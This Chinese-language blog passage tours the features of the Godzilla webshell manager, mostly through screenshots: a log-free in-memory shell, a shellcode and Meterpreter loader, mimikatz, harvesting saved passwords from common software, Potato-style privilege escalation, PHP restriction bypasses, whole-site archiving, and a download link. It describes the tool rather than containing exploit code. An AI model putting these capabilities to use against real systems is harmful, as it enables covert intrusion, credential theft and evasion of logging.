<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1eb57e10-f8ce-ea78-39aa-56e753c08963.png" alt="image.png" /></p>
<p>访问发现存在<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1276f668-05d3-75af-0262-dea7b83addce.png" alt="image.png" /></p>
<p>直接哥斯拉链接就行了。<strong>内存shell 无日志，会在tomcat重启后消失。</strong></p>
<h3>屏幕截图</h3>
<p>点截图会自动保存预览，在windows上需要shell权限够大。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/626e5a5e-4903-132e-36ad-d3086108e023.png" alt="image.png" /></p>
<h3>虚拟终端</h3>
<p>这个功能其实是在本地监听端口，通过shell与服务器交互实现cmdshell。点击start之后执行<code>nc 127.0.0.1 4444</code>链接本地4444获取cmdshell。</p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/33bccba3-6a03-b1fc-8735-6db1ccb9eb6b.png" alt="image.png" /></p>
<p>如果不使用nc链接的话会一直占用本地4444端口。用完请exit或点击stop。</p>
<h3>JMeterpreter</h3>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/01bd363a-8828-84e9-4189-9873ba2ff22c.png" alt="image.png" /></p>
<p>不用说了 看图就会</p>
<h3>ServletManage</h3>
<p>用来管理servlet，方便管理内存shell。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/4883a5c1-7184-d38e-58cf-ffd994f4bdbc.png" alt="image.png" /></p>
<h3>JarLoader</h3>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/fc98ed73-eb55-19b8-db03-e301617b11f7.png" alt="image.png" /></p>
<p>用其加载jar包，主要用途就是加载jdbc。</p>
<h3>JZip</h3>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/913e81a3-60f1-7861-0d07-71c38335fc7f.png" alt="image.png" /></p>
<p>打包全站的好助手。</p>
<h3>ByPassOpenBasedir</h3>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/694d80cf-bb7d-fa6f-ac86-4e6af069cfc0.png" alt="image.png" /></p>
<h3>BypassDisableFunctions</h3>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/adbb8d86-9071-4f89-7c94-b4d1f4176d58.png" alt="image.png" /></p>
<h3>笔记</h3>
<p>笔记模块是jsp\php\aspx都有的模块<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/41dd1dd8-e270-e643-7225-5c7147a0009b.png" alt="image.png" /></p>
<h3>ShellCodeLoader</h3>
<p>直接通过shell来加载shellcode，或者弹meterpreter</p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/efde0078-11c9-bcf8-8fbf-e10e564ab31b.png" alt="image.png" /></p>
<h3>SafetyKatz</h3>
<p>mimikatz 需要高权限<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d797f3e4-a17d-b66b-5d91-e5567e73a955.png" alt="image.png" /></p>
<h3>lemon</h3>
<p>抓常用软件密码<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/96625e12-5697-83b9-3f06-85276746692c.png" alt="image.png" /></p>
<h3>BadPotato</h3>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/65fa3ab8-bd19-31e7-061a-d48b498044b6.png" alt="image.png" /></p>
<p>提权模块，源于 https://github.com/BeichenDream/BadPotato</p>
<h3>SharpWeb</h3>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c43c9d64-6b13-5d12-35c9-703a47410bb5.png" alt="image.png" /></p>
<p>参考 https://github.com/djhohnstein/SharpWeb</p>
<h3>SweetPotato</h3>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/9e40ff58-ee6d-f08c-3d66-e7272732b7bc.png" alt="image.png" /></p>
<p>提权模块</p>
<h1>其他选项</h1>
<p>配置-程序配置中可以修改字体大小，重启后生效。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c765d815-da04-efca-437d-549d8000d3d2.png" alt="image.png" /></p>
<p>关闭提示语不解释了，上帝模式开启会使文件管理复杂化。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/5ed52a34-1cb6-be88-70a5-c3c90114e037.png" alt="image.png" /></p>
<h1>免责声明</h1>
<ol>
<li>程序仅限服务器管理使用，切勿用于非法用途，非法使用造成的一切后果由自己承担，与作者无关。</li>
<li>由于用户滥用造成的一切后果与作者无关。</li>
<li>使用本程序请自觉遵守当地法律法规，出现一切后果均与作者无关。</li>
<li>本程序及代码均不得用于商业用途，仅作学习交流，违者必究。</li>
</ol>
<h1>下载地址</h1>
<p>https://github.com/BeichenDream/Godzilla/releases/tag/v1.00-godzilla</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
